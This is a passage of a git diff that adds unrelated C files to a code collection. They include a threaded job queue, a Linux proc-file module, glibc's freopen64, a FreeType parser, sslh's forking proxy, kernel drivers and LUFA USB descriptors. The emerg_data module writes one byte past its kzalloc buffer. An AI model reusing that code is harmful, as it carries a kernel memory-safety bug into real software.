"couldn't create thread\n"); + exit(EXIT_FAILURE); + } + ++live_threads; + } + + /* Main event loop */ + + if ( pthread_mutex_lock(&done_queue->mutex) != 0 ) { + fprintf(stderr, "couldn't lock mutex\n"); + exit(EXIT_FAILURE); + } + + while ( live_threads ) { + + /* If queue is empty, wait on the condition variable. + * This should never wait forever, since the last thing + * off the queue should be the report saying the last + * thread is finished, at which point the main event + * loop will end. */ + + while ( queue_is_empty(done_queue->queue) ) { + if ( pthread_cond_wait(&done_queue->cond, + &done_queue->mutex) != 0 ) { + fprintf(stderr, "couldn't wait on condition variable\n"); + exit(EXIT_FAILURE); + } + } + + /* Process any job reports on the queue */ + + while ( !queue_is_empty(done_queue->queue) ) { + struct job_report * report; + queue_pop(done_queue->queue, (void *) &report); + + if ( report->done ) { + + /* Join thread and decrement live thread + * counter if the thread has finished. */ + + if ( pthread_join(tid[report->worker_id - 1], NULL) != 0 ) { + fprintf(stderr, "couldn't join thread\n"); + exit(EXIT_FAILURE); + } + + --live_threads; + } + else { + + /* Otherwise report on the finished job. */ + + printf("Thread %d worked hard and slept for %d seconds.\n", + report->worker_id, report->sleep_time); + } + + free(report); + } + } + + if ( pthread_mutex_unlock(&done_queue->mutex) != 0 ) { + fprintf(stderr, "couldn't unlock mutex\n"); + exit(EXIT_FAILURE); + } + + /* Tidy up and exit */ + + job_queue_destroy(out_queue); + job_queue_destroy(done_queue); + + return 0; +} diff --git a/pool/shard011/C/0142080_emerg_data.c b/pool/shard011/C/0142080_emerg_data.c new file mode 100644 index 0000000000000000000000000000000000000000..76b5f65dc780328fbb9cf73a519ab3146700693c --- /dev/null +++ b/pool/shard011/C/0142080_emerg_data.c @@ -0,0 +1,67 @@ +#include +#include +#include +#include +#include +#include + +#define EMERGDATA_NAME "emerg_data" + +struct proc_dir_entry *emerg_data = NULL; + +extern unsigned int get_datamount_flag(void); +extern void set_datamount_flag(int value); + +int emergdata_read_proc(char *page, char **start, off_t off, int count, int *eof, void *data) { + /* + * return the value of datamount_flag(definition in setup.c) + */ + return snprintf(page, PAGE_SIZE, "%d\n", get_datamount_flag()); +} + +int emergdata_write_proc(struct file *file, const char *buffer, unsigned long count, void *data) { + long value = -1; + int strtol_ret = -1; + int ret = -EINVAL; + char *tmp_buf = NULL; + + if ((tmp_buf = kzalloc(count, GFP_KERNEL)) == NULL) + return -ENOMEM; + if (copy_from_user(tmp_buf, buffer, count - 1)) { //should ignore character '\n' + kfree(tmp_buf); + return -EFAULT; + } + *(tmp_buf + count) = '\0'; + + strtol_ret = strict_strtol(tmp_buf, 10, &value); + + /* + * call function set_datamount_flag conditions as follow + * 1. strict_strtol return 0, AND, + * 2. value equal 0 + */ + if (strtol_ret == 0) { + if (value == 0) { + set_datamount_flag(value); + ret = count; + } + } + kfree(tmp_buf); + return ret; +} + +static int __init emergdata_proc_init(void) { + emerg_data = create_proc_entry(EMERGDATA_NAME, 0660, NULL); + emerg_data->read_proc = emergdata_read_proc; + emerg_data->write_proc = emergdata_write_proc; + emerg_data->data = NULL; + return 0; +} + +static void __exit emergdata_proc_exit(void) { + remove_proc_entry(EMERGDATA_NAME, emerg_data); +} + +module_init(emergdata_proc_init); +module_exit(emergdata_proc_exit); + diff --git a/pool/shard011/C/0142081_freopen64.c b/pool/shard011/C/0142081_freopen64.c new file mode 100644 index 0000000000000000000000000000000000000000..adf749a070db8708b73b342fb10959ff3b397f99 --- /dev/null +++ b/pool/shard011/C/0142081_freopen64.c @@ -0,0 +1,77 @@ +/* Copyright (C) 1993-2017 Free Software Foundation, Inc. + This file is part of the GNU C Library. + + The GNU C Library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + . + + As a special exception, if you link the code in this file with + files compiled with a GNU compiler to produce an executable, + that does not cause the resulting executable to be covered by + the GNU Lesser General Public License. This exception does not + however invalidate any other reasons why the executable file + might be covered by the GNU Lesser General Public License. + This exception applies to code released by its copyright holders + in files containing the exception. */ + +#include "libioP.h" +#include "stdio.h" +#include +#include +#include + +#include + +#include + +FILE * +freopen64 (const char *filename, const char *mode, FILE *fp) +{ + FILE *result; + CHECK_FILE (fp, NULL); + if (!(fp->_flags & _IO_IS_FILEBUF)) + return NULL; + _IO_acquire_lock (fp); + int fd = _IO_fileno (fp); + const char *gfilename = (filename == NULL && fd >= 0 + ? fd_to_filename (fd) : filename); + fp->_flags2 |= _IO_FLAGS2_NOCLOSE; + _IO_file_close_it (fp); + _IO_JUMPS_FILE_plus (fp) = &_IO_file_jumps; + if (_IO_vtable_offset (fp) == 0 && fp->_wide_data != NULL) + fp->_wide_data->_wide_vtable = &_IO_wfile_jumps; + result = _IO_file_fopen (fp, gfilename, mode, 0); + fp->_flags2 &= ~_IO_FLAGS2_NOCLOSE; + if (result != NULL) + result = __fopen_maybe_mmap (result); + if (result != NULL) + { + /* unbound stream orientation */ + result->_mode = 0; + + if (fd != -1) + { + __dup3 (_IO_fileno (result), fd, + (result->_flags2 & _IO_FLAGS2_CLOEXEC) != 0 + ? O_CLOEXEC : 0); + __close (_IO_fileno (result)); + _IO_fileno (result) = fd; + } + } + else if (fd != -1) + __close (fd); + if (filename == NULL) + free ((char *) gfilename); + _IO_release_lock (fp); + return result; +} diff --git a/pool/shard011/C/0142082_cidparse.c b/pool/shard011/C/0142082_cidparse.c new file mode 100644 index 0000000000000000000000000000000000000000..e2c679b60293a3b8f960f10ed949bce5e664f7df --- /dev/null +++ b/pool/shard011/C/0142082_cidparse.c @@ -0,0 +1,226 @@ +/***************************************************************************/ +/* */ +/* cidparse.c */ +/* */ +/* CID-keyed Type1 parser (body). */ +/* */ +/* Copyright 1996-2001, 2002, 2003, 2004, 2005, 2006, 2007 by */ +/* David Turner, Robert Wilhelm, and Werner Lemberg. */ +/* */ +/* This file is part of the FreeType project, and may only be used, */ +/* modified, and distributed under the terms of the FreeType project */ +/* license, LICENSE.TXT. By continuing to use, modify, or distribute */ +/* this file you indicate that you have read the license and */ +/* understand and accept it fully. */ +/* */ +/***************************************************************************/ + + +#include "ft2build.h" +#include FT_INTERNAL_DEBUG_H +#include FT_INTERNAL_CALC_H +#include FT_INTERNAL_OBJECTS_H +#include FT_INTERNAL_STREAM_H + +#include "cidparse.h" + +#include "ciderrs.h" + + + /*************************************************************************/ + /* */ + /* The macro FT_COMPONENT is used in trace mode. It is an implicit */ + /* parameter of the FT_TRACE() and FT_ERROR() macros, used to print/log */ + /* messages during execution. */ + /* */ +#undef FT_COMPONENT +#define FT_COMPONENT trace_cidparse + + + /*************************************************************************/ + /*************************************************************************/ + /*************************************************************************/ + /***** *****/ + /***** INPUT STREAM PARSER *****/ + /***** *****/ + /*************************************************************************/ + /*************************************************************************/ + /*************************************************************************/ + + + FT_LOCAL_DEF( FT_Error ) + cid_parser_new( CID_Parser* parser, + FT_Stream stream, + FT_Memory memory, + PSAux_Service psaux ) + { + FT_Error error; + FT_ULong base_offset, offset, ps_len; + FT_Byte *cur, *limit; + FT_Byte *arg1, *arg2; + + + FT_MEM_ZERO( parser, sizeof ( *parser ) ); + psaux->ps_parser_funcs->init( &parser->root, 0, 0, memory ); + + parser->stream = stream; + + base_offset = FT_STREAM_POS(); + + /* first of all, check the font format in the header */ + if ( FT_FRAME_ENTER( 31 ) ) + goto Exit; + + if ( ft_strncmp( (char *)stream->cursor, + "%!PS-Adobe-3.0 Resource-CIDFont", 31 ) ) + { + FT_TRACE2(( "[not a valid CID-keyed font]\n" )); + error = CID_Err_Unknown_File_Format; + } + + FT_FRAME_EXIT(); + if ( error ) + goto Exit; + + Again: + /* now, read the rest of the file until we find */ + /* `StartData' or `/sfnts' */ + { + FT_Byte buffer[256 + 10]; + FT_Int read_len = 256 + 10; + FT_Byte* p = buffer; + + + for ( offset = (FT_ULong)FT_STREAM_POS(); ; offset += 256 ) + { + FT_Int stream_len; + + + stream_len = stream->size - FT_STREAM_POS(); + if ( stream_len == 0 ) + { + FT_TRACE2(( "cid_parser_new: no `StartData' keyword found\n" )); + error = CID_Err_Unknown_File_Format; + goto Exit; + } + + read_len = FT_MIN( read_len, stream_len ); + if ( FT_STREAM_READ( p, read_len ) ) + goto Exit; + + if ( read_len < 256 ) + p[read_len] = '\0'; + + limit = p + read_len - 10; + + for ( p = buffer; p < limit; p++ ) + { + if ( p[0] == 'S' && ft_strncmp( (char*)p, "StartData", 9 ) == 0 ) + { + /* save offset of binary data after `StartData' */ + offset += p - buffer + 10; + goto Found; + } + else if ( p[1] == 's' && ft_strncmp( (char*)p, "/sfnts", 6 ) == 0 ) + { + offset += p - buffer + 7; + goto Found; + } + } + + FT_MEM_MOVE( buffer, p, 10 ); + read_len = 256; + p = buffer + 10; + } + } + + Found: + /* We have found the start of the binary data or the `/sfnts' token. */ + /* Now rewind and extract the frame corresponding to this PostScript */ + /* section. */ + + ps_len = offset - base_offset; + if ( FT_STREAM_SEEK( base_offset ) || + FT_FRAME_EXTRACT( ps_len, parser->postscript ) ) + goto Exit; + + parser->data_offset = offset; + parser->postscript_len = ps_len; + parser->root.base = parser->postscript; + parser->root.cursor = parser->postscript; + parser->root.limit = parser->root.cursor + ps_len; + parser->num_dict = -1; + + /* Finally, we check whether `StartData' or `/sfnts' was real -- */ + /* it could be in a comment or string. We also get the arguments */ + /* of `StartData' to find out whether the data is represented in */ + /* binary or hex format. */ + + arg1 = parser->root.cursor; + cid_parser_skip_PS_token( parser ); + cid_parser_skip_spaces ( parser ); + arg2 = parser->root.cursor; + cid_parser_skip_PS_token( parser ); + cid_parser_skip_spaces ( parser ); + + limit = parser->root.limit; + cur = parser->root.cursor; + + while ( cur < limit ) + { + if ( parser->root.error ) + { + error = parser->root.error; + goto Exit; + } + + if ( cur[0] == 'S' && ft_strncmp( (char*)cur, "StartData", 9 ) == 0 ) + { + if ( ft_strncmp( (char*)arg1, "(Hex)", 5 ) == 0 ) + parser->binary_length = ft_atol( (const char *)arg2 ); + + limit = parser->root.limit; + cur = parser->root.cursor; + goto Exit; + } + else if ( cur[1] == 's' && ft_strncmp( (char*)cur, "/sfnts", 6 ) == 0 ) + { + FT_TRACE2(( "cid_parser_new: cannot handle Type 11 fonts\n" )); + error = CID_Err_Unknown_File_Format; + goto Exit; + } + + cid_parser_skip_PS_token( parser ); + cid_parser_skip_spaces ( parser ); + arg1 = arg2; + arg2 = cur; + cur = parser->root.cursor; + } + + /* we haven't found the correct `StartData'; go back and continue */ + /* searching */ + FT_FRAME_RELEASE( parser->postscript ); + if ( !FT_STREAM_SEEK( offset ) ) + goto Again; + + Exit: + return error; + } + + + FT_LOCAL_DEF( void ) + cid_parser_done( CID_Parser* parser ) + { + /* always free the private dictionary */ + if ( parser->postscript ) + { + FT_Stream stream = parser->stream; + + + FT_FRAME_RELEASE( parser->postscript ); + } + parser->root.funcs.done( &parser->root ); + } + + +/* END */ diff --git a/pool/shard011/C/0142083_struct-basic.c b/pool/shard011/C/0142083_struct-basic.c new file mode 100644 index 0000000000000000000000000000000000000000..6df3e0ba29efa58d9f0453cfe7811758758be961 --- /dev/null +++ b/pool/shard011/C/0142083_struct-basic.c @@ -0,0 +1,90 @@ +#include +#include +#include + +typedef struct Teacher { + char name[64]; + int age; + int id; +} Teacher; + +struct Student { + char name[64]; + int aga; +} s1, s2; + +struct { + char name[64]; + int aga; +} s3, s4; + +Teacher t3 = { "aaaa", 31, 01 }; + +struct Student2 { + char name[64]; + int aga; +} s5 = {"names", 21}; + +struct { + char name[64]; + int aga; +} s6 = {"names", 21}; + +void main() +{ + //struct Teacher t1; + + Teacher t1; + Teacher t2 = { "aaaa", 32, 02 }; + + t1.age = 31; + { + Teacher *p = NULL; + p = &t2; + printf("p->age:%d \n", p->age); + printf("p->name:%s \n", p->name); + } + strcpy(t1.name, "t1name"); + + printf("t1.name:%s \n", t1.name); + + return; +} + +void copyTeacher(Teacher to, Teacher from) +{ + to = from; +} + +void copyTeacher02(Teacher * to, Teacher * from) +{ + //(*to) = (*from); + *to = *from; +} + +void main0() +{ + + Teacher t1 = {"aaaa", 32, 02}; + Teacher t2; + Teacher t3; + memset(&t3, 0, sizeof(t3)); + + t2 = t1; + + printf("t2.name:%s \n", t2.name); + printf("t2.age:%d \n", t2.age); + + copyTeacher(t3, t1); + printf("copyTeacher() after \n"); + printf("t3.name:%s \n", t3.name); + printf("t3.age:%d \n", t3.age); + printf("hello...\n"); + + copyTeacher02(&t3, &t1); + printf("copyTeacher02() after \n"); + printf("t3.name:%s \n", t3.name); + printf("t3.age:%d \n", t3.age); + + return; +} diff --git a/pool/shard011/C/0142084_fixed-helper.c b/pool/shard011/C/0142084_fixed-helper.c new file mode 100644 index 0000000000000000000000000000000000000000..2c6098e6f4bcec726f1af2ce0e552fc2d8077ef2 --- /dev/null +++ b/pool/shard011/C/0142084_fixed-helper.c @@ -0,0 +1,61 @@ +// SPDX-License-Identifier: GPL-2.0 +#include +#include +#include +#include +#include + +struct fixed_regulator_data { + struct fixed_voltage_config cfg; + struct regulator_init_data init_data; + struct platform_device pdev; +}; + +static void regulator_fixed_release(struct device *dev) +{ + struct fixed_regulator_data *data = container_of(dev, + struct fixed_regulator_data, pdev.dev); + kfree(data->cfg.supply_name); + kfree(data); +} + +/** + * regulator_register_fixed_name - register a no-op fixed regulator + * @id: platform device id + * @name: name to be used for the regulator + * @supplies: consumers for this regulator + * @num_supplies: number of consumers + * @uv: voltage in microvolts + */ +struct platform_device *regulator_register_always_on(int id, const char *name, + struct regulator_consumer_supply *supplies, int num_supplies, int uv) +{ + struct fixed_regulator_data *data; + + data = kzalloc(sizeof(*data), GFP_KERNEL); + if (!data) + return NULL; + + data->cfg.supply_name = kstrdup(name, GFP_KERNEL); + if (!data->cfg.supply_name) { + kfree(data); + return NULL; + } + + data->cfg.microvolts = uv; + data->cfg.enabled_at_boot = 1; + data->cfg.init_data = &data->init_data; + + data->init_data.constraints.always_on = 1; + data->init_data.consumer_supplies = supplies; + data->init_data.num_consumer_supplies = num_supplies; + + data->pdev.name = "reg-fixed-voltage"; + data->pdev.id = id; + data->pdev.dev.platform_data = &data->cfg; + data->pdev.dev.release = regulator_fixed_release; + + platform_device_register(&data->pdev); + + return &data->pdev; +} diff --git a/pool/shard011/C/0142085_sslh-fork.c b/pool/shard011/C/0142085_sslh-fork.c new file mode 100644 index 0000000000000000000000000000000000000000..a6d286e63b9c17444fb26666868abd678896c15b --- /dev/null +++ b/pool/shard011/C/0142085_sslh-fork.c @@ -0,0 +1,184 @@ +/* + sslh-fork: forking server + +# Copyright (C) 2007-2012 Yves Rutschle +# +# This program is free software; you can redistribute it +# and/or modify it under the terms of the GNU General Public +# License as published by the Free Software Foundation; either +# version 2 of the License, or (at your option) any later +# version. +# +# This program is distributed in the hope that it will be +# useful, but WITHOUT ANY WARRANTY; without even the implied +# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR +# PURPOSE. See the GNU General Public License for more +# details. +# +# The full text for the General Public License is here: +# http://www.gnu.org/licenses/gpl.html + +*/ + +#include "common.h" +#include "probe.h" + +const char* server_type = "sslh-fork"; + +#define MAX(a, b) (((a) > (b)) ? (a) : (b)) + +/* shovels data from one fd to the other and vice-versa + returns after one socket closed + */ +int shovel(struct connection *cnx) +{ + fd_set fds; + int res, i; + int max_fd = MAX(cnx->q[0].fd, cnx->q[1].fd) + 1; + + FD_ZERO(&fds); + while (1) { + FD_SET(cnx->q[0].fd, &fds); + FD_SET(cnx->q[1].fd, &fds); + + res = select( + max_fd, + &fds, + NULL, + NULL, + NULL + ); + CHECK_RES_DIE(res, "select"); + + for (i = 0; i < 2; i++) { + if (FD_ISSET(cnx->q[i].fd, &fds)) { + res = fd2fd(&cnx->q[1-i], &cnx->q[i]); + if (!res) { + if (verbose) + fprintf(stderr, "%s %s", i ? "client" : "server", "socket closed\n"); + return res; + } + } + } + } +} + +/* Child process that finds out what to connect to and proxies + */ +void start_shoveler(int in_socket) +{ + fd_set fds; + struct timeval tv; + int res = PROBE_AGAIN; + int out_socket; + struct connection cnx; + + init_cnx(&cnx); + cnx.q[0].fd = in_socket; + + FD_ZERO(&fds); + FD_SET(in_socket, &fds); + memset(&tv, 0, sizeof(tv)); + tv.tv_sec = probing_timeout; + + while (res == PROBE_AGAIN) { + /* POSIX does not guarantee that tv will be updated, but the client can + * only postpone the inevitable for so long */ + res = select(in_socket + 1, &fds, NULL, NULL, &tv); + if (res == -1) + perror("select"); + + if (FD_ISSET(in_socket, &fds)) { + /* Received data: figure out what protocol it is */ + res = probe_client_protocol(&cnx); + } else { + /* Timed out: it's necessarily SSH */ + cnx.proto = timeout_protocol(); + break; + } + } + + if (cnx.proto->service && + check_access_rights(in_socket, cnx.proto->service)) { + exit(0); + } + + /* Connect the target socket */ + out_socket = connect_addr(&cnx, in_socket); + CHECK_RES_DIE(out_socket, "connect"); + + cnx.q[1].fd = out_socket; + + log_connection(&cnx); + + flush_deferred(&cnx.q[1]); + + shovel(&cnx); + + close(in_socket); + close(out_socket); + + if (verbose) + fprintf(stderr, "connection closed down\n"); + + exit(0); +} + +static int *listener_pid; +static int listener_pid_number = 0; + +void stop_listeners(int sig) +{ + int i; + + for (i = 0; i < listener_pid_number; i++) { + kill(listener_pid[i], sig); + } +} + +void main_loop(int listen_sockets[], int num_addr_listen) +{ + int in_socket, i, res; + struct sigaction action; + + listener_pid_number = num_addr_listen; + listener_pid = malloc(listener_pid_number * sizeof(listener_pid[0])); + + /* Start one process for each listening address */ + for (i = 0; i < num_addr_listen; i++) { + if (!(listener_pid[i] = fork())) { + + /* Listening process just accepts a connection, forks, and goes + * back to listening */ + while (1) + { + in_socket = accept(listen_sockets[i], 0, 0); + if (verbose) fprintf(stderr, "accepted fd %d\n", in_socket); + + if (!fork()) + { + for (i = 0; i < num_addr_listen; ++i) + close(listen_sockets[i]); + start_shoveler(in_socket); + exit(0); + } + close(in_socket); + } + } + } + + /* Set SIGTERM to "stop_listeners" which further kills all listener + * processes. Note this won't kill processes that listeners forked, which + * means active connections remain active. */ + memset(&action, 0, sizeof(action)); + action.sa_handler = stop_listeners; + res = sigaction(SIGTERM, &action, NULL); + CHECK_RES_DIE(res, "sigaction"); + + wait(NULL); +} + +/* The actual main is in common.c: it's the same for both version of + * the server + */ + diff --git a/pool/shard011/C/0142086_msm_led_torch.c b/pool/shard011/C/0142086_msm_led_torch.c new file mode 100644 index 0000000000000000000000000000000000000000..111f1ab8e1636a6dd4181d84ba2e4c0fd139b361 --- /dev/null +++ b/pool/shard011/C/0142086_msm_led_torch.c @@ -0,0 +1,75 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ + +#define pr_fmt(fmt) "%s:%d " fmt, __func__, __LINE__ + +#include +#include "msm_led_flash.h" + +static struct led_trigger *torch_trigger; + +static void msm_led_torch_brightness_set(struct led_classdev *led_cdev, + enum led_brightness value) +{ + if (!torch_trigger) { + pr_err("%s: No torch trigger found, can't set brightness\n", __func__); + return; + } + + led_trigger_event(torch_trigger, value); +}; + +static struct led_classdev msm_torch_led[MAX_LED_TRIGGERS] = { + { + .name = "torch-light0", + .brightness_set = msm_led_torch_brightness_set, + .brightness = LED_OFF, + }, + { + .name = "torch-light1", + .brightness_set = msm_led_torch_brightness_set, + .brightness = LED_OFF, + }, +}; + +int32_t msm_led_torch_create_classdev(struct platform_device *pdev, + void *data) +{ + int rc; + int i = 0; + struct msm_led_flash_ctrl_t *fctrl = + (struct msm_led_flash_ctrl_t *)data; + + if (!fctrl) { + pr_err("Invalid fctrl\n"); + return -EINVAL; + } + + for (i = 0; i < fctrl->torch_num_sources; i++) { + if (fctrl->torch_trigger[i]) { + torch_trigger = fctrl->torch_trigger[i]; + msm_led_torch_brightness_set(&msm_torch_led[i], LED_OFF); + + rc = led_classdev_register(&pdev->dev, &msm_torch_led[i]); + if (rc) { + pr_err("%s: Failed to register %d led dev. rc = %d\n" + , __func__, i, rc); + return rc; + } else { + pr_err("%s: Registered %d led torch dev", __func__, i); + } + } + } + + return 0; +}; diff --git a/pool/shard011/C/0142087_Descriptors.c b/pool/shard011/C/0142087_Descriptors.c new file mode 100644 index 0000000000000000000000000000000000000000..d45c1098fc40c822997b445754fe14dbb2e9f12e --- /dev/null +++ b/pool/shard011/C/0142087_Descriptors.c @@ -0,0 +1,216 @@ +/* + LUFA Library + Copyright (C) Dean Camera, 2014. + + dean [at] fourwalledcubicle [dot] com + www.lufa-lib.org +*/ + +/* + Copyright 2014 Dean Camera (dean [at] fourwalledcubicle [dot] com) + + Permission to use, copy, modify, distribute, and sell this + software and its documentation for any purpose is hereby granted + without fee, provided that the above copyright notice appear in + all copies and that both that the copyright notice and this + permission notice and warranty disclaimer appear in supporting + documentation, and that the name of the author not be used in + advertising or publicity pertaining to distribution of the + software without specific, written prior permission. + + The author disclaims all warranties with regard to this + software, including all implied warranties of merchantability + and fitness. In no event shall the author be liable for any + special, indirect or consequential damages or any damages + whatsoever resulting from loss of use, data or profits, whether + in an action of contract, negligence or other tortious action, + arising out of or in connection with the use or performance of + this software. +*/ + +/** \file + * + * USB Device Descriptors, for library use when in USB device mode. Descriptors are special + * computer-readable structures which the host requests upon device enumeration, to determine + * the device's capabilities and functions. + */ + +#include "Descriptors.h" + +/** HID class report descriptor. This is a special descriptor constructed with values from the + * USBIF HID class specification to describe the reports and capabilities of the HID device. This + * descriptor is parsed by the host and its contents used to determine what data (and in what encoding) + * the device will send, and what it may be sent back from the host. Refer to the HID specification for + * more details on HID report descriptors. + */ +const USB_Descriptor_HIDReport_Datatype_t PROGMEM KeyboardReport[] = +{ + /* Use the HID class driver's standard Keyboard report. + * Max simultaneous keys: 6 + */ + HID_DESCRIPTOR_KEYBOARD(6) +}; + +/** Device descriptor structure. This descriptor, located in FLASH memory, describes the overall + * device characteristics, including the supported USB version, control endpoint size and the + * number of device configurations. The descriptor is read out by the USB host when the enumeration + * process begins. + */ +const USB_Descriptor_Device_t PROGMEM DeviceDescriptor = +{ + .Header = {.Size = sizeof(USB_Descriptor_Device_t), .Type = DTYPE_Device}, + + .USBSpecification = VERSION_BCD(1,1,0), + .Class = USB_CSCP_NoDeviceClass, + .SubClass = USB_CSCP_NoDeviceSubclass, + .Protocol = USB_CSCP_NoDeviceProtocol, + + .Endpoint0Size = FIXED_CONTROL_ENDPOINT_SIZE, + + .VendorID = 0x03EB, + .ProductID = 0x2042, + .ReleaseNumber = VERSION_BCD(0,0,1), + + .ManufacturerStrIndex = STRING_ID_Manufacturer, + .ProductStrIndex = STRING_ID_Product, + .SerialNumStrIndex = NO_DESCRIPTOR, + + .NumberOfConfigurations = FIXED_NUM_CONFIGURATIONS +}; + +/** Configuration descriptor structure. This descriptor, located in FLASH memory, describes the usage + * of the device in one of its supported configurations, including information about any device interfaces + * and endpoints. The descriptor is read out by the USB host during the enumeration process when selecting + * a configuration so that the host may correctly communicate with the USB device. + */ +const USB_Descriptor_Configuration_t PROGMEM ConfigurationDescriptor = +{ + .Config = + { + .Header = {.Size = sizeof(USB_Descriptor_Configuration_Header_t), .Type = DTYPE_Configuration}, + + .TotalConfigurationSize = sizeof(USB_Descriptor_Configuration_t), + .TotalInterfaces = 1, + + .ConfigurationNumber = 1, + .ConfigurationStrIndex = NO_DESCRIPTOR, + + .ConfigAttributes = (USB_CONFIG_ATTR_RESERVED | USB_CONFIG_ATTR_SELFPOWERED), + + .MaxPowerConsumption = USB_CONFIG_POWER_MA(100) + }, + + .HID_Interface = + { + .Header = {.Size = sizeof(USB_Descriptor_Interface_t), .Type = DTYPE_Interface}, + + .InterfaceNumber = INTERFACE_ID_Keyboard, + .AlternateSetting = 0x00, + + .TotalEndpoints = 1, + + .Class = HID_CSCP_HIDClass, + .SubClass = HID_CSCP_BootSubclass, + .Protocol = HID_CSCP_KeyboardBootProtocol, + + .InterfaceStrIndex = NO_DESCRIPTOR + }, + + .HID_KeyboardHID = + { + .Header = {.Size = sizeof(USB_HID_Descriptor_HID_t), .Type = HID_DTYPE_HID}, + + .HIDSpec = VERSION_BCD(1,1,1), + .CountryCode = 0x00, + .TotalReportDescriptors = 1, + .HIDReportType = HID_DTYPE_Report, + .HIDReportLength = sizeof(KeyboardReport) + }, + + .HID_ReportINEndpoint = + { + .Header = {.Size = sizeof(USB_Descriptor_Endpoint_t), .Type = DTYPE_Endpoint}, + + .EndpointAddress = KEYBOARD_EPADDR, + .Attributes = (EP_TYPE_INTERRUPT | ENDPOINT_ATTR_NO_SYNC | ENDPOINT_USAGE_DATA), + .EndpointSize = KEYBOARD_EPSIZE, + .PollingIntervalMS = 0x05 + }, +}; + +/** Language descriptor structure. This descriptor, located in FLASH memory, is returned when the host requests + * the string descriptor with index 0 (the first index). It is actually an array of 16-bit integers, which indicate + * via the language ID table available at USB.org what languages the device supports for its string descriptors. + */ +const USB_Descriptor_String_t PROGMEM LanguageString = USB_STRING_DESCRIPTOR_ARRAY(LANGUAGE_ID_ENG); + +/** Manufacturer descriptor string. This is a Unicode string containing the manufacturer's details in human readable + * form, and is read out upon request by the host when the appropriate string ID is requested, listed in the Device + * Descriptor. + */ +const USB_Descriptor_String_t PROGMEM ManufacturerString = USB_STRING_DESCRIPTOR(L"Dean Camera"); + +/** Product descriptor string. This is a Unicode string containing the product's details in human readable form, + * and is read out upon request by the host when the appropriate string ID is requested, listed in the Device + * Descriptor. + */ +const USB_Descriptor_String_t PROGMEM ProductString = USB_STRING_DESCRIPTOR(L"LUFA Keyboard Demo"); + +/** This function is called by the library when in device mode, and must be overridden (see library "USB Descriptors" + * documentation) by the application code so that the address and size of a requested descriptor can be given + * to the USB library. When the device receives a Get Descriptor request on the control endpoint, this function + * is called so that the descriptor details can be passed back and the appropriate descriptor sent back to the + * USB host. + */ +uint16_t CALLBACK_USB_GetDescriptor(const uint16_t wValue, + const uint8_t wIndex, + const void** const DescriptorAddress) +{ + const uint8_t DescriptorType = (wValue >> 8); + const uint8_t DescriptorNumber = (wValue & 0xFF); + + const void* Address = NULL; + uint16_t Size = NO_DESCRIPTOR; + + switch (DescriptorType) + { + case DTYPE_Device: + Address = &DeviceDescriptor; + Size = sizeof(USB_Descriptor_Device_t); + break; + case DTYPE_Configuration: + Address = &ConfigurationDescriptor; + Size = sizeof(USB_Descriptor_Configuration_t); + break; + case DTYPE_String: + switch (DescriptorNumber) + { + case STRING_ID_Language: + Address = &LanguageString; + Size = pgm_read_byte(&LanguageString.Header.Size); + break; + case STRING_ID_Manufacturer: + Address = &ManufacturerString; + Size = pgm_read_byte(&ManufacturerString.Header.Size); + break; + case STRING_ID_Product: + Address = &ProductString; + Size = pgm_read_byte(&ProductString.Header.Size); + break; + } + + break; + case HID_DTYPE_HID: + Address = &ConfigurationDescriptor.HID_KeyboardHID; + Size = sizeof(USB_HID_Descriptor_HID_t); + break; + case HID_DTYPE_Report: + Address = &KeyboardReport; + Size = sizeof(KeyboardReport); + break; + } + + *DescriptorAddress = Address; + return Size; +} + diff --git a/pool/shard011/C/0142088_utils.c b/pool/shard011/C/0142088_utils.c new file mode 100644 index 0000000000000000000000000000000000000000..0a01df8c6cfe4ffb1bfcee1d6e29dc1379a17f89 --- /dev/null +++ b/pool/shard011/C/0142088_utils.c @@ -0,0 +1,115 @@ +#include + +uint strlen(const char* str) +{ + unsigned int i = 0; + while(str[i]) { + i++; + } + return i; +} + +void strcpy(char* dst, const char* src) +{ + unsigned int i; + for(i = 0; src[i] != '\0'; i++) { + dst[i] = src[i]; + } + dst[i] = '\0'; +} + +void strcat(char* dst, const char* src) +{ + unsigned int i = 0, j = 0; + while(dst[i]) { + i++; + } + while(src[j]) { + dst[i] = src[j]; + i++; j++; + } + dst[i] = '\0'; +} + +int memcmp(const void* _m1, const void* _m2, uint bytes) +{ + const char* m1 = _m1, * m2 = _m2; + for(uint i = 0; i < bytes; i++) + if(m1[i] != m2[i]) { + return (m1[i]-m2[i] < 0) ? -1 : 1; + } + return 0; +} + +int strcmp(const char* str1, const char* str2) +{ + uint i; + for(i = 0; str1[i] == str2[i]; i++) + if(str1[i] == '\0') { + return 0; + } + return str1[i]-str2[i]; +} + +uint umax(unsigned int a, uint b) +{ + return (a < b) ? b : a; +} + +static void remove_zeros(char* buffer) +{ + uint i,j; + for(i = 0; buffer[i]; i++) { + if(buffer[i] != '0') { + break; + } + } + if(!buffer[i]) { + buffer[0] = '0'; + buffer[1] = '\0'; + return; + } + for(j = i; buffer[j]; j++) { + buffer[j-i]=buffer[j]; + } + buffer[j-i] = '\0'; +} + +void num_to_str(uint n, uint base, char* output) +{ + char buf[33]; + memset(buf,'0',sizeof(buf)); + *(buf+32) = '\0'; // Voy a imprimir con todos los ceros delante, asi que necesito 8 lugares fijos. + uint ind = 31; + do { + char c = n % base; + if(c > 9) { + c = c-10+'A'; + } else { + c = c+'0'; + } + buf[ind--] = c; + n = n/base; + } while(n > 0); + remove_zeros(buf); + strcpy(output,buf); +} + +void strncpy(char* dst, const char* src, uint len) +{ + for(uint i = 0; i < len; i++) { + if(src[i] == '\0') { + dst[i] = '\0'; + return; + } + dst[i] = src[i]; + } +} + +bool is_alpha(char c) +{ + if(c >= 'a' && c <= 'z') return true; + 